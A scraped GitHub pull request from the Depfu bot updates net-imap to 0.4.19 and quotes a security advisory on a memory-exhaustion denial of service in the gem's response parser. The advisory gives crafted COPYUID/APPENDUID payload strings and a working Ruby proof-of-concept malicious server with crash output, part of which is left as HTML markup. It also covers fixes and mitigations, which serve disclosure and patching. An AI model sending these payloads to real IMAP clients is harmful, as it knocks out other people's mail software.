🚨 [security] Update net-imap 0.4.0 → 0.4.19 (minor) #264

depfu · 2025-02-10T18:23:45Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ net-imap (indirect, 0.4.0 → 0.4.19) · Repo

Security Advisories 🚨

🚨 Possible DoS by memory exhaustion in net-imap

Summary

There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.

Details

IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.

The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.

Malicious inputs:

# 40 bytes expands to ~1.6GB: "* OK [COPYUID 1 1:99999999 1:99999999]\r\n"

# Worst valid input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"

# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than
# UINT32_MAX can be created. For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"

Simple way to test this:

require "net/imap"
def test(size)

input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\n"

parser = Net::IMAP::ResponseParser.new

parser.parse input

end
test(99_999_999)

Fixes

Preferred Fix, minor API changes

Upgrade to v0.4.19, v0.5.6, or higher, and configure:

# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
                               parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false

This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.

For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).

Mitigation, backward compatible API

Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.

For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.

Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will crash.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.

For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).

Please Note: unhandled responses

If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:

limit = 1000
imap.add_response_handler do |resp|
  next unless resp.respond_to?(:name) && resp.respond_to?(:data)
  name = resp.name
  code = resp.data.code&.name if resp.data.respond_to?(:code)
  if Net::IMAP::VERSION > "0.4.0"
    imap.responses(name) { _1.slice!(0...-limit) }
    imap.responses(code) { _1.slice!(0...-limit) }
  else
    imap.responses(name).slice!(0...-limit)
    imap.responses(code).slice!(0...-limit)
  end
end

Proof of concept

Save the following to a ruby file (e.g: poc.rb) and make it executable:

#!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)

puts "Net::IMAP.config is not available"

elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)

puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"

else

Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size

puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"

end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr

Addrinfo.tcp("localhost", 0).ip_address

end
def create_tcp_server

TCPServer.new(server_addr, 0)

end
def start_server

th = Thread.new do

yield

end

sleep 0.1 until th.stop?

end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")

"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"

end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")

"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"

end
server = create_tcp_server

port = server.addr[1]

puts "Server started on port #{port}"
# server

start_server do

sock = server.accept

begin

sock.print "* OK test server\r\n"

cmd = sock.gets("\r\n", chomp: true)

tag = cmd.match(/\A(\w+) /)[1]

puts "Received: #{cmd}"
<span class="pl-s1">malicious_response</span> <span class="pl-c1">=</span> <span class="pl-en">appenduid_response</span><span class="pl-kos">(</span><span class="pl-pds">size</span>:<span class="pl-kos">)</span>
<span class="pl-en">puts</span> <span class="pl-s">"Sending: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">malicious_response</span><span class="pl-kos">.</span><span class="pl-en">chomp</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s1">malicious_response</span>

<span class="pl-s1">malicious_response</span> <span class="pl-c1">=</span> <span class="pl-en">copyuid_response</span><span class="pl-kos">(</span><span class="pl-pds">size</span>:<span class="pl-kos">)</span>
<span class="pl-en">puts</span> <span class="pl-s">"Sending: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">malicious_response</span><span class="pl-kos">.</span><span class="pl-en">chomp</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s1">malicious_response</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">tag</span><span class="pl-kos">}</span></span> OK CAPABILITY completed<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>

<span class="pl-s1">cmd</span> <span class="pl-c1">=</span> <span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">gets</span><span class="pl-kos">(</span><span class="pl-s">"<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span><span class="pl-kos">,</span> <span class="pl-pds">chomp</span>: <span class="pl-c1">true</span><span class="pl-kos">)</span>
<span class="pl-s1">tag</span> <span class="pl-c1">=</span> <span class="pl-s1">cmd</span><span class="pl-kos">.</span><span class="pl-en">match</span><span class="pl-kos">(</span><span class="pl-sr">/<span class="pl-cce">\A</span>(<span class="pl-cce">\w</span>+) /</span><span class="pl-kos">)</span><span class="pl-kos">[</span><span class="pl-c1">1</span><span class="pl-kos">]</span>
<span class="pl-en">puts</span> <span class="pl-s">"Received: <span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">cmd</span><span class="pl-kos">}</span></span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"* BYE If you made it this far, you passed the test!<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>
<span class="pl-s1">sock</span><span class="pl-kos">.</span><span class="pl-en">print</span> <span class="pl-s">"<span class="pl-s1"><span class="pl-kos">#{</span><span class="pl-s1">tag</span><span class="pl-kos">}</span></span> OK LOGOUT completed<span class="pl-cce">\r</span><span class="pl-cce">\n</span>"</span>

rescue Exception => ex

puts "Error in server: #{ex.message} (#{ex.class})"

ensure

sock.close

server.close

end

end
# client

begin

puts "Client connecting,.."

imap = Net::IMAP.new(server_addr, port: port)

puts "Received capabilities: #{imap.capability}"

pp responses: imap.responses

imap.logout

rescue Exception => ex

puts "Error in client: #{ex.message} (#{ex.class})"

puts ex.full_message

ensure

imap.disconnect if imap

end

Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:

$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
        from /workspace/poc.rb:70:in '<main>'

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ date (indirect, 3.3.3 → 3.4.1) · Repo

Release Notes

3.4.1

What's Changed

Fix incorrect argc2 decrement in datetime_s_iso8601 function by @pelbyl in #105

Trivial changes by @nobu in #107

Bump step-security/harden-runner from 2.10.1 to 2.10.2 by @dependabot in #109

Bump rubygems/release-gem from 612653d273a73bdae1df8453e090060bb4db5f31 to 9e85cb11501bebc2ae661c1500176316d3987059 by @dependabot in #108

[DOC] Empty the false document by @nobu in #110

Suppress warnings by @nobu in #111

New Contributors

@pelbyl made their first contribution in #105

Full Changelog: v3.4.0...v3.4.1

3.4.0

What's Changed

Provide a 'Changelog' link on rubygems.org/gems/date by @mark-young-atg in #101

Remove the unintentional ability to parse Symbol by @nobu in #102

Prevent converted gregorian date from GC by @nobu in #103

[DOC] Specify the unit of return value for Date#- by @p0pemaru in #97

Update gperf by @nobu in #104

New Contributors

@mark-young-atg made their first contribution in #101

@p0pemaru made their first contribution in #97

Full Changelog: v3.3.4...v3.4.0

3.3.4

What's Changed

Migrate set-output to $GITHUB_OUTPUT by @tanakakc in #85

choco install gperf for mswin by @hsbt in #87

[DOC] Removed (newly unneeded) alias remarks by @BurdetteLamar in #88

Use a centralized, automatically updated set of Ruby versions in CI by @petergoldstein in #90

Update test libraries from ruby/ruby 2023-03-24 by @hsbt in #91

Use test-unit-ruby-core by @nobu in #96

[DOC] Fix link by @BurdetteLamar in #100

New Contributors

@tanakakc made their first contribution in #85

@petergoldstein made their first contribution in #90

Full Changelog: v3.3.3...v3.3.4

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 52 commits:

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Update net-imap to version 0.4.19

886a015

depfu bot added the depfu label Feb 10, 2025

ncounter approved these changes Feb 12, 2025

View reviewed changes

ncounter merged commit 9baa8ac into main Feb 12, 2025
3 checks passed

depfu bot deleted the depfu/update/net-imap-0.4.19 branch February 12, 2025 13:56

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

🚨 [security] Update net-imap 0.4.0 → 0.4.19 (minor) #264

🚨 [security] Update net-imap 0.4.0 → 0.4.19 (minor) #264

depfu bot commented Feb 10, 2025

🚨 [security] Update net-imap 0.4.0 → 0.4.19 (minor) #264

🚨 [security] Update net-imap 0.4.0 → 0.4.19 (minor) #264

Conversation

depfu bot commented Feb 10, 2025

What changed?

↗️ net-imap (indirect, 0.4.0 → 0.4.19) · Repo

🚨 Possible DoS by memory exhaustion in net-imap

Summary

Details

Fixes

Preferred Fix, minor API changes

Mitigation, backward compatible API

Please Note: unhandled responses

Proof of concept

↗️ date (indirect, 3.3.3 → 3.4.1) · Repo

3.4.1

What's Changed

New Contributors

3.4.0

What's Changed

New Contributors

3.3.4

What's Changed

New Contributors